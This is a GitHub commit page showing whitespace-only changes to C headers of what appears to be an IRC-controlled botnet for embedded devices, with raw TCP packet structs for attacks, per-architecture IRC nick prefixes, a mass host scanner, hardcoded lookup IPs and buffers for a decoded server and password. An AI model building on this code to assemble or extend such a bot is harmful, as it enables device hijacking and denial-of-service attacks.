Skip to content

Commit

Permalink
Update source code
Browse files Browse the repository at this point in the history
  • Loading branch information
ociredefz committed Jun 19, 2015
1 parent f655b1b commit 2948849
Show file tree
Hide file tree
Showing 12 changed files with 1,752 additions and 2,029 deletions.
20 changes: 10 additions & 10 deletions include/attacks.h
Original file line number Diff line number Diff line change
Expand Up @@ -7,19 +7,19 @@ unsigned short uport;
unsigned int useconds;

struct send_tcp {
struct iphdr ip;
struct tcphdr tcp;
char buf[20];
struct iphdr ip;
struct tcphdr tcp;
char buf[20];
};

struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
char buf[20];
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
char buf[20];
};

#endif
36 changes: 18 additions & 18 deletions include/config.h
Original file line number Diff line number Diff line change
Expand Up @@ -47,29 +47,29 @@
/* DON'T CHANGE IF YOU DON'T KNOW WHAT */
/* YOU ARE DOING! */
#ifdef MIPSEL
#define irc_nick_prefix "[MS]"
#define nctype "m"
#define maxthreads (128)
#define irc_nick_prefix "[MS]"
#define nctype "m"
#define maxthreads (128)
#elif MIPS
#define irc_nick_prefix "[M]"
#define nctype "m"
#define maxthreads (128)
#define irc_nick_prefix "[M]"
#define nctype "m"
#define maxthreads (128)
#elif SUPERH
#define irc_nick_prefix "[S]"
#define nctype "s"
#define maxthreads (128)
#define irc_nick_prefix "[S]"
#define nctype "s"
#define maxthreads (128)
#elif ARM
#define irc_nick_prefix "[A]"
#define nctype "a"
#define maxthreads (128)
#define irc_nick_prefix "[A]"
#define nctype "a"
#define maxthreads (128)
#elif PPC
#define irc_nick_prefix "[P]"
#define nctype "p"
#define maxthreads (128)
#define irc_nick_prefix "[P]"
#define nctype "p"
#define maxthreads (128)
#else
#define irc_nick_prefix "[X]"
#define nctype "x"
#define maxthreads (128)
#define irc_nick_prefix "[X]"
#define nctype "x"
#define maxthreads (128)
#endif

#endif
22 changes: 11 additions & 11 deletions include/irc.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,21 +4,21 @@
#define static_rcv 32

typedef struct {
int sockfd;
struct hostent *sockhs;
struct sockaddr_in sockadr;
int sockfd;
struct hostent *sockhs;
struct sockaddr_in sockadr;

} sock_t;

typedef struct {
char rcv_a[128];
char rcv_b[static_rcv];
char rcv_c[static_rcv];
char rcv_sa[static_rcv];
char rcv_sb[static_rcv];
char rcv_sc[static_rcv];
char rcv_sd[static_rcv];
char rcv_se[static_rcv];
char rcv_a[128];
char rcv_b[static_rcv];
char rcv_c[static_rcv];
char rcv_sa[static_rcv];
char rcv_sb[static_rcv];
char rcv_sc[static_rcv];
char rcv_sd[static_rcv];
char rcv_se[static_rcv];
} requests_t;

int max_pids, pid_status;
Expand Down
2 changes: 1 addition & 1 deletion include/scan.h
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
#define maxhosts (65535)

typedef struct {
char hostname[32];
char hostname[32];
} scan_data_t;

FILE *resfd, *statfd;
Expand Down
12 changes: 6 additions & 6 deletions include/utils.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,17 +4,17 @@
#define IPREQUEST "GET /index.html HTTP/1.0\nHost: icanhazip.comn\n"

#ifdef MIPSEL
#define ipreq "64.182.208.183"
#define ipreq "64.182.208.183"
#elif MIPS
#define ipreq "104.238.136.31"
#define ipreq "104.238.136.31"
#elif SUPERH
#define ipreq "104.238.141.75"
#define ipreq "104.238.141.75"
#elif ARM
#define ipreq "104.238.141.75"
#define ipreq "104.238.141.75"
#elif PPC
#define ipreq "104.238.136.31"
#define ipreq "104.238.136.31"
#else
#define ipreq "104.238.141.75"
#define ipreq "104.238.141.75"
#endif

char decodedsrv[512], decodedpsw[32];
Expand Down
Loading

0 comments on commit 2948849

Please sign in to comment.